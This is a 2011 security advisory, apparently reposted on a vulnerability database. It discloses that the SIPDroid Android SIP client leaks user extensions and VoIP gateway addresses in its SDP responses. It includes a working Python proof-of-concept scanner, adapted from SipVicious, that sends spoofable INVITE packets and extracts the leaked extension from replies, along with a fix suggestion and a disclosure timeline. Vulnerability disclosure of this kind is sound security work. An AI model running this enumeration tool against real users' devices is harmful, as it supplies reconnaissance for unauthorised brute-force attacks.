Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:26310
HistoryMay 05, 2011 - 12:00 a.m.

SIPDroid user/extension enum

2011-05-0500:00:00
vulners.com
17

=====[Tempest Security Intelligence - Advisory #01/2011]

User enumeration in SIPDroid Agent

Author: Anibal Vaz Marques de Aguiar < anibal.aguiar SPAM tempest.com.br >

=====[Table of Contents]

  1. Overview
  2. Detailed description
  3. Other contexts & Solutions
  4. Concept Proof & Tool
  5. Timeline
  6. Thanks
  7. References

=====[Overview]

  • Systems affected: SIPDroid 1.6.1 beta, 2.0.1 beta, 2.2 beta (running
    in Android 2.1 - official Motorola release)
    (other versions may be affected)
  • Release date: 03 May 2011
  • Impact: This vulnerability may allow information leak, especifically
    the SIP "extension" and the
    VoIP gateway in use by the SIPDroid Agent/Client.

The Sipdroid Open Source Project[1] presents SIPDroid as a functional
(in development) SIP agent/client
for Android systems. SIPDroid is known as the most popular SIP client on
Android market[2].

We noted is possible to leak sensitive information due the way SIPDroid
responds to INVITE packets,
specifically on the SDP portion of the "Ringing" messages, after a
successful INVITE. It seems the
main problem here is the way that SIPDroid deals with the ORIGIN field
of the SDP, when it informs
the extension/login and the address where the softphone registers itself.

The SDP Specification as described by RFC 4566[3] states the ORIGIN
field syntax as follows:

"o=<username> <session id> <version> <network type> <address type>
<address>"

where the username portion of the ORIGIN field is defined as follows:

"<username> is the user's login on the originating host, or it is "-"
if the originating host does not support the concept of user IDs.
The <username> MUST NOT contain spaces."

=====[Detailed description]

SIPDroid sends, specially in the "Ringing" response (or even in "200 OK"
response), specifically in
the "ORIGIN" SDP portion field, the extension (user) and the defined
VoIP gateway in users's profile.

A tipical "Ringing" response from SIPDroid is as follows:


SIP/2.0 180 Ringing
Via: SIP/2.0/UDP XXX.XXX.XXX.XXX:5060;branch=z9hG4bK2987630636;rport=5060
To: sip:XXX.XXX.XXX.XXX;tag=d49a182ceb609de8
From: XXX.XXX.XXX.XXX;tag=as1386001
Call-ID: [email protected]
CSeq: 1 INVITE
Server: Sipdroid/1.6.1 beta/A853
Content-Length: 252
Content-Type: application/sdp

v=0
[email protected] 0 0 IN IP4 XXX.XXX.XXX.XXX
s=Session SIP/SDP
c=IN IP4 XXX.XXX.XXX.XXX
t=0 0
m=audio 21000 RTP/AVP 3 101
a=rtpmap:3 GSM/8000
a=rtpmap:101 telephone-event/8000
a=fmtp:101 0-15
m=video 21070 RTP/AVP 103
a=rtpmap:103 h263-1998/90000


Note that the "ORIGIN" field ("o=") in the SDP portion received, the
username portion is
'extension@VoIP Gateway'. That VoIP gateway, in this case, is not a real
one so the agent does
not need to be registered in the VoIP PBX/gateway to this issue occurs.

This problem also happens on "200 OK" response to the INVITE
solicitation, where the problem
seems to be less critical considering that depends on the user accepts
the call,
to this message (the 200 OK and SDP portion as described) be sent to a
presumed attacker.

=====[Other contexts & Solutions]

A well positioned attacker could take advantage of this issue (sensitive
information for free)
and make use of the extensions (users) data for future brute force
attacks, for example.

It seems sending the ORIGIN field as the RFC 4566 states this can
address this specific issue,
as other SIP clients do.

=====[Concept Proof Tool]

Here a tool, SipVicious[4] based, to disclosure the sensitive
information as shown:

Warning: on copy and paste take care of code indentation

-----[myhelper.py]------------------------------------------------------------------------------------------------------

#!/usr/bin/env python

Adapted from SipVicious by Anibal Aguiar - anibal.aguiar SPAM

tempest.com.br

This code is only for security researches/teaching purposes,use at

your own risk!

import sys
import random

def printmsg(msg, color):
OKGREEN = '\033[92m'
OKBLUE = '\033[96m'
ENDC = '\033[0m'
WARN = '\033[91m'

if color is "Blue":
return OKBLUE + msg + ENDC
elif color is "Green":
return OKGREEN + msg + ENDC
elif color is "WARNING":
return WARN + msg + ENDC

def makeRequest(method,dspname,toaddr,
dsthost,port,callid,srchost='',
branchunique=None,localtag=None,
extension=None,body='',useragent=None,
cseq=1,auth=None,contact='<sip:[email protected]>',
accept='application/sdp',contentlength=None,
localport=5060,contenttype=None):

if extension is None:
uri = 'sip:%s' % dsthost
else:
uri = 'sip:%s@%s' % (extension,dsthost)
if branchunique is None:
branchunique = '%s' % random.getrandbits(32)
headers = dict()
finalheaders = dict()
superheaders = dict()
superheaders['Via'] = 'SIP/2.0/UDP %s:%s;branch=z9hG4bK%s;rport' %
(srchost,localport,branchunique)
headers['Max-Forwards'] = 70
headers['To'] = uri
headers['From'] = "\"%s\"" % dspname
if useragent is None:
headers['User-Agent'] = 'friendly-scanner'
headers['From'] += ';tag=as%s' % localtag
headers['Call-ID'] = "%s@%s" % (callid,srchost)
if contact is not None:
headers['Contact'] = contact
headers['CSeq'] = '%s %s' % (cseq,method)
headers['Max-Forwards'] = 70
headers['Accept'] = accept
if contentlength is None:
headers['Content-Length'] = len(body)
else:
headers['Content-Length'] = contentlength
if contenttype is None and len(body) > 0:
contenttype = 'application/sdp'
if contenttype is not None:
headers['Content-Type'] = contenttype

r = '%s %s SIP/2.0\r\n' % (method,uri)
for h in superheaders.iteritems():
r += '%s: %s\r\n' % h
for h in headers.iteritems():
r += '%s: %s\r\n' % h
for h in finalheaders.iteritems():
r += '%s: %s\r\n' % h
r += '\r\n'
r += body
return r, branchunique

----[SIPDroid-Extension_Enum.py]----------------------------------------------------------------------------------------

#!/usr/bin/env python

-- coding: utf-8 --

Author: Anibal Aguiar - anibal.aguiar SPAM tempest.com.br

Dependences:

optparse - The optparse library can be installed using the linux

repository

of your distro.

myHelper – myHelper.py should be placed at the same diretory of

SIPDroid-Extension_Enum.py

This software is based on some functions of sipvicious-0.2.6.

This code is only for security researches/teaching purposes,use at

your own risk!

import sys
import random
import re
from optparse import OptionParser
from socket import *
from myhelper import *

parse = OptionParser()
parse.add_option("-i", "–ip", dest="ip", help="Target IP range (CIDR or
unique IP). (MANDATORY)")
parse.add_option("-s", "–source", dest="source", help="Source IP
number. (MANDATORY)")
parse.add_option("-f", "–srcfake", dest="srcfake", help="Source IP
number (fake).")
parse.add_option("-p", "–dstport", dest="dstport", default=5060,
help="Destine port number (MAMDATORY due to SIPDroid Random port).
(default 5060)")
parse.add_option("-e", "–extension", dest="exten", default=None,
help="Destine extension. (default None)")
parse.add_option("-t", "–tag", dest="tag", default=None, help="Call
TAG. (default random)")
parse.add_option("-v", "–verbose", action="store_true", dest="debug",
default="False", help="Verbose mode - print pakets sent and received.
(default False)")

(options, arg) = parse.parse_args()

if not options.exten:
extension = "SIPDROID"
else:
extension = options.exten
if not options.srcfake:
srcfake = '1.1.1.1'
else:
srcfake = options.srcfake
dstport = int(options.dstport)

if not options.ip or not options.source:
print printmsg("Sintaxe erro. Try %s --help" % sys.argv[0], "WARNING")
sys.exit(1)
else:
dsthost = options.ip
fromhost = options.source
if options.tag is None:
tag = random.getrandbits(22)
else:
tag = options.tag

buf = 1024
addr = (dsthost,dstport)
cid='%s' % str(random.getrandbits(32))
branch=None
srcaddr = (fromhost,5062)

Create socket

UDPSock = socket(AF_INET,SOCK_DGRAM)

Binding on 5060

UDPSock.bind(srcaddr)

Send messages

method = "INVITE"
(header,branch) =
makeRequest(method,extension,dsthost,dsthost,dstport,cid,srcfake,branch,tag)
if(UDPSock.sendto(header, addr)):
sent = True
if options.debug is True:
print printmsg("Data Sent:", "WARNING")
print header
print printmsg("INVITE sent to %s!\n" % dsthost, "Green")
else:
sent = False

Receive messages

while sent:
try:
UDPSock.settimeout(4)
data,bindaddr = UDPSock.recvfrom(buf)
if options.debug is True:
print printmsg("Data Received:", "WARNING")
print data
if re.search('SIP/2.0 180 Ringing', data):
packet = data.split('\n')
for packetline in packet:
for origin in re.finditer('o\=[a-zA-Z0-9\-]+\@[a-zA-Z0-9.\-]+', packetline):
print printmsg("o=<extension>@<server>: %s\n" % origin.group(0), "Blue")

method = 'CANCEL'
(header, branch) =
makeRequest(method,extension,dsthost,dsthost,dstport,cid,srcfake,branch,tag)
if options.debug is True:
print printmsg("Data Sent:", "WARNING")
print header
UDPSock.sendto(header, addr)
sent = False
except Exception as excpt:
print excpt
print printmsg("OPS… Timeout on receving data or something wrong with
socket… take a look at dest. port number too (-p option).", "WARNING")
sent = False

Close socket

UDPSock.close()

=====[Timeline]

After testing SIPDroid 1.6.1 beta and 2.0.1 beta as well, we contacted
the SIPDroid project.
They answered "(…) This is no security risk because Sipdroid talks to
it's SIP server only.
It does not answer call requests from anywhere else (…)".

We insisted the problem exists, we built and sent the (attached) tool
for the concept proof sake.
After that, no more answers from SIPDroid Project and they released more
one still vulnerable
version (2.2 beta).

=====[Thanks to]

=====[References]

[1] http://www.sipdroid.org
[2] https://market.android.com/details?id=org.sipdroid.sipua
[3] http://tools.ietf.org/html/rfc4566
[4] http://code.google.com/p/sipvicious/
[5] http://www.tempest.com.br

========================================================================================================================